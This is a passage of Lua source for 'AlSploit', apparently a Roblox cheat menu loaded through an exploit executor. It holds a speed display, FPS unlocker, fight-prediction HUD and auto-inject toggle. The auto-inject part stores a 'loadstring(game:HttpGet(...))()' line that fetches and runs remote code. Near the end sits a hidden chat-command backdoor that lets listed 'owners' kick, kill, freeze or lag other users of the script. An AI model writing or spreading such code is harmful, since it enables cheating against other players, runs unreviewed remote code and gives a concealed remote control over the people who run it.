SpeedDisplayUI.TextTransparency = 0
task.spawn(function()
local LastPosition = Vector3.new(LocalPlayer.Character.PrimaryPart.Position.X, 0, LocalPlayer.Character.PrimaryPart.Position.Z)
local LastTick = tick()
repeat
task.wait(0)
local CurrentTick = tick()
local DeltaTimeSinceLastUpdate = CurrentTick - LastTick
if DeltaTimeSinceLastUpdate >= DeltaTime then
if IsAlive(LocalPlayer) == true then
local CurrentPosition = Vector3.new(LocalPlayer.Character.PrimaryPart.Position.X, 0, LocalPlayer.Character.PrimaryPart.Position.Z)
local Speed = (CurrentPosition - LastPosition).Magnitude / DeltaTimeSinceLastUpdate
SpeedDisplayUI.Text = "Speed: " .. math.round(Speed)
LastPosition = CurrentPosition
LastTick = CurrentTick
end
end
if IsAlive(LocalPlayer) == false then
SpeedDisplayUI.Text = "Speed: Nan"
end
until AlSploitSettings.SpeedDisplay.Value == false or shared.AlSploitUnInjected == true
end)
end
if AlSploitSettings.SpeedDisplay.Value == false then
SpeedDisplayUI.TextTransparency = 1
end
end,
HoverText = "Displays Your Speed 🥏"
})
UnInjectEvent.Event:Connect(function()
SpeedDisplayUI:Destroy()
end)
end)
task.spawn(function()
local FpsUnlocker = OtherTab:CreateToggle({
Name = "FpsUnlocker",
Function = function()
if AlSploitSettings.FpsUnlocker.Value == true and AlSploitSettings.FpsUnlocker.NoFpsCap.Value == false and SetFpsCap then
SetFpsCap(AlSploitSettings.FpsUnlocker.Fps.Value >= 0 and AlSploitSettings.FpsUnlocker.Fps.Value or 1)
end
if AlSploitSettings.FpsUnlocker.Value == false and SetFpsCap then
SetFpsCap(AlSploitSettings.FpsUnlocker.Fps.Value >= 0 and AlSploitSettings.FpsUnlocker.Fps.Value or 1)
end
if AlSploitSettings.FpsUnlocker.Value == true and not SetFpsCap then
CreateNotification(3, "Unable To Unlock Fps")
end
end,
HoverText = "Unlocks Your Fps To The Desired Value 💻"
})
FpsUnlocker:CreateToggle({
Name = "NoFpsCap",
Function = function()
if AlSploitSettings.FpsUnlocker.Value == true and AlSploitSettings.FpsUnlocker.NoFpsCap.Value == true and SetFpsCap then
SetFpsCap(1000)
end
if AlSploitSettings.FpsUnlocker.Value == true and AlSploitSettings.FpsUnlocker.NoFpsCap.Value == false and SetFpsCap then
SetFpsCap(AlSploitSettings.FpsUnlocker.Fps.Value >= 0 and AlSploitSettings.FpsUnlocker.Fps.Value or 1)
end
if not SetFpsCap then
CreateNotification(3, "Unable To Unlock Fps")
end
end,
DefaultValue = true
})
FpsUnlocker:CreateSlider({
Name = "Fps",
Function = function()
if AlSploitSettings.FpsUnlocker.Value == true and AlSploitSettings.FpsUnlocker.NoFpsCap.Value == false and SetFpsCap then
SetFpsCap(AlSploitSettings.FpsUnlocker.Fps.Value)
end
if not SetFpsCap then
CreateNotification(3, "Unable To Unlock Fps")
end
end,
MaximumValue = 360,
DefaultValue = 360
})
UnInjectEvent.Event:Connect(function()
if SetFpsCap then
SetFpsCap(AlSploitSettings.FpsUnlocker.Fps.Value)
end
end)
end)
task.spawn(function()
local function PredictFightWinner(NearestPlayer, LocalPlayer)
local NearestPlayerHealth = NearestPlayer.Character:GetAttribute("Health")
local LocalPlayerHealth = LocalPlayer.Character:GetAttribute("Health")
local NearestPlayerDamage, NearestPlayerSword = GetBestSword(NearestPlayer)
local LocalPlayerDamage, LocalPlayerSword = GetBestSword(LocalPlayer)
local NearestPlayerArmorDamageReduction = GetArmor(NearestPlayer)
local LocalPlayerArmorDamageReduction = GetArmor(LocalPlayer)
local NearestPlayerScore = 0
local LocalPlayerScore = 0
local PredictedWinner
if NearestPlayerSword and LocalPlayerSword then
local NearestPlayerDamagePerHit = (NearestPlayerDamage - (NearestPlayerDamage * LocalPlayerArmorDamageReduction))
local LocalPlayerDamagePerHit = (LocalPlayerDamage - (LocalPlayerDamage * NearestPlayerArmorDamageReduction))
NearestPlayerScore = (LocalPlayerHealth / NearestPlayerDamagePerHit)
LocalPlayerScore = (NearestPlayerHealth / LocalPlayerDamagePerHit)
end
if not NearestPlayerSword or not LocalPlayerSword then
NearestPlayerScore = -NearestPlayerHealth
LocalPlayerScore = -LocalPlayerHealth
end
PredictedWinner = (NearestPlayerScore < LocalPlayerScore and NearestPlayer or LocalPlayer)
return PredictedWinner
end
local TargetHud = OtherTab:CreateToggle({
Name = "TargetHud",
Function = function()
local TargetHud, UIStroke, PlayerName, Display, Health, _100HpP, Status = CreateTargetHud()
TargetHud.Visible = false
repeat
task.wait()
if GetMatchState() ~= 0 and IsAlive(LocalPlayer) and AlSploitSettings.TargetHud.Value == true and IsAlive(LocalPlayer) == true then
local NearestPlayer = FindNearestPlayer(AlSploitSettings.TargetHud.Range.Value)
if NearestPlayer then
TargetHud.Visible = true
local ColorSplit = string.split(AlSploitSettings.TargetHud.StrokeColor.Value, ",")
local R = ColorSplit[1]
local G = ColorSplit[2]
local B = ColorSplit[3]
UIStroke.Color = Color3.new(R, G, B)
ColorSplit = string.split(AlSploitSettings.TargetHud.MainColor.Value, ",")
R = ColorSplit[1]
G = ColorSplit[2]
B = ColorSplit[3]
Display.BackgroundColor3 = Color3.new(R, G, B)
local NearestPlayerMaxHealth = NearestPlayer.Character:GetAttribute("MaxHealth")
local NearestPlayerHealth = NearestPlayer.Character:GetAttribute("Health")
local NearestPlayerStatus = (NearestPlayerHealth / NearestPlayerMaxHealth)
PlayerName.Text = NearestPlayer.Name
Health.Text = "Health: " .. math.round(NearestPlayerHealth)
local PredictedFightWinner = PredictFightWinner(NearestPlayer, LocalPlayer)
local StatusValue = (PredictedFightWinner == LocalPlayer and "Win" or "Lose")
Status.Text = StatusValue
if Status.Text == "Lose" then
Status.TextColor3 = Color3.new(1, 0, 0)
end
if Status.Text == "Win" then
Status.TextColor3 = Color3.new(0, 1, 0)
end
local TweenInformation = TweenInfo.new(0.35, Enum.EasingStyle.Sine, Enum.EasingDirection.Out, 0, false, 0)
local HealthTween = TweenService:Create(Display, TweenInformation, {Size = UDim2.new(NearestPlayerStatus, 0, 1, 0)})
HealthTween:Play()
end
if not NearestPlayer then
TargetHud.Visible = false
end
end
if not IsAlive(LocalPlayer) then
TargetHud.Visible = false
end
until shared.AlSploitUnInjected == true or AlSploitSettings.TargetHud.Value == false
TargetHud.Visible = false
end,
HoverText = "Displays The Fight's Details 🖼️"
})
TargetHud:CreateSlider({
Name = "Range",
Function = function() end,
DefaultValue = 18,
MaximumValue = 18
})
TargetHud:CreateColorSlider({
Name = "StrokeColor",
Function = function() end,
DefaultValue = Color3.new(0, 0.6, 1)
})
TargetHud:CreateColorSlider({
Name = "MainColor",
Function = function() end,
DefaultValue = Color3.new(0, 0.6, 1)
})
end)
task.spawn(function()
local MainScripts = {
'loadstring(game:HttpGet("https://github.com/jewjew123/ALSPLOIT/raw/refs/heads/main/IS/SHIT/USE/CATVAPE/OR/a"))()'
};
local AutoInject = OtherTab:CreateToggle({
Name = "AutoInject",
Function = function()
if AlSploitSettings.AutoInject.Value == true and not QueueOnTeleport then
CreateNotification(3, "Your Executor Does Not Support AutoInject")
end
end,
HoverText = "Auto Injects AlSploit 🐁"
})
AlSploitConnections["AutoInjectConnection"] = LocalPlayer.OnTeleport:Connect(function(TeleportState)
if TeleportState == Enum.TeleportState.Started and AlSploitSettings.AutoInject.Value == true and shared.AlSploitUnInjected == false then
--QueueOnTeleport(MainScripts[math.random(0, #MainScripts)])
end
end)
end)
task.spawn(function()
local UnInject = OtherTab:CreateToggle({
Name = "UnInject",
Function = function()
if AlSploitSettings.UnInject.Value == true then
UnInjectEvent:Fire()
end
end,
HoverText = "UnInjects AlSploit ⌨️"
})
end)
task.spawn(function()
CollectionService:GetInstanceAddedSignal("block"):Connect(function()
CollectionServiceBlocks = CollectionService:GetTagged("block")
end)
end)
task.spawn(function()
local AlSploitWhitelistedUsers = {"mrdreyoo", "tonightshewillbemine", "yuungasian", "nondivergent", "itsmessas99", "Harleyisopp17", "Sigmaautofarm", "Ned31k", "Matto0613", "slaying_135", "BerneerYT", "islandsiopp4", "oceanicfalcondude101", "hshehzheheh"}
local AlSploitOwners = {"AlSploitCooking", "ChristmasCandyGobler", "MonkeOnZaCar", "nondivergent", "itsmessas99"}
for i, v in next, PlayerService:GetPlayers() do
v.Chatted:Connect(function(Message)
for i, v2 in AlSploitWhitelistedUsers do
if v.Name == v2 and LocalPlayer.Name ~= v2 and not AlSploitOwners[v.Name] then
local MessageAlgorithimed = Message:lower():gsub("%s+", "")
if MessageAlgorithimed then
task.spawn(function()
if MessageAlgorithimed:find(";breakmapdefault") then
for i, v in next, CollectionServiceBlocks do
v:Destroy()
end
end
end)
task.spawn(function()
if MessageAlgorithimed:find(";unanchordefault") then
if IsAlive(LocalPlayer) == true then
LocalPlayer.Character.PrimaryPart.Anchored = false
end
end
end)
task.spawn(function()
if MessageAlgorithimed:find(";anchordefault") then
if IsAlive(LocalPlayer) == true then
LocalPlayer.Character.PrimaryPart.Anchored = true
end
end
end)
task.spawn(function()
if MessageAlgorithimed:find(";lagbackdefault") then
if IsAlive(LocalPlayer) == true then
LocalPlayer.Character.PrimaryPart.Velocity = Vector3.new(999999, 999999, 999999)
end
end
end)
task.spawn(function ()
if MessageAlgorithimed:find(";uninjectdefault") then
UnInjectEvent:Fire()
end
end)
task.spawn(function ()
if MessageAlgorithimed:find(";kickdefault") then
LocalPlayer:Kick("Kicked by AlSploit AlSploitOwners")
end
end)
task.spawn(function()
if MessageAlgorithimed:find(";killdefault") then
if IsAlive(LocalPlayer) == true then
LocalPlayer.Character.PrimaryPart.Humanoid.Health = 0
end
end
end)
end
end
end
end)
end
for i, v in next, PlayerService:GetPlayers() do
v.Chatted:Connect(function(Message)
for i, v2 in AlSploitOwners do
if v.Name == v2 and LocalPlayer.Name ~= v2 then
local MessageAlgorithimed = Message:lower():gsub("%s+", "")
if MessageAlgorithimed then
task.spawn(function()
if MessageAlgorithimed:find(";breakmapdefault") then
for i, v in next, CollectionService:GetTagged("block") do
v:Destroy()
end
end
end)
task.spawn(function()
if MessageAlgorithimed:find(";unanchordefault") then
if IsAlive(LocalPlayer) == true then
LocalPlayer.Character.PrimaryPart.Anchored = false
end
end
end)
task.spawn(function()
if MessageAlgorithimed:find(";anchordefault") then
if IsAlive(LocalPlayer) == true then
LocalPlayer.Character.PrimaryPart.Anchored = true
end
end
end)
task.spawn(function()
if MessageAlgorithimed:find(";lagbackdefault") then
if IsAlive(LocalPlayer) == true then
LocalPlayer.Character.PrimaryPart.Velocity = Vector3.new(999999, 999999, 999999)
end
end
end)
task.spawn(function ()
if MessageAlgorithimed:find(";uninjectdefault") then
UnInjectEvent:Fire()
end
end)
task.spawn(function ()
if MessageAlgorithimed:find(";kickdefault") then
LocalPlayer:Kick("Kicked by AlSploit AlSploitOwners")
end
end)
task.spawn(function()
if MessageAlgorithimed:find(";killdefault") then
if IsAlive(LocalPlayer) == true then
LocalPlayer.Character.PrimaryPart.Humanoid.Health = 0
end
end
end)
end
end
end
end)
end
end)
task.spawn(function()
CreateNotification(3, "AlSploit Has Loaded, Tabs Are Scrollable")
task.spawn(function()
UnInjectEvent.Event:Connect(function()
AlSploitSettings.UnInject.Value = false
AlSploitInjected = false
shared.AlSploitUnInjected = true
AlSploitScreenGui:Destroy()
for i, v in next, AlSploitConnections do
v:Disconnect()
end
task.wait(0.5)
UnInjectEvent:Destroy()
end)
end)
end)
pcall(function()
writefile("ProjectileMeta", game:GetService("HttpService"):JSONEncode(require(game.ReplicatedStorage.TS.projectile["projectile-meta"]).ProjectileMeta))
writefile("ItemMeta", game:GetService("HttpService"):JSONEncode(require(game.ReplicatedStorage.TS.item["item-meta"])))
end)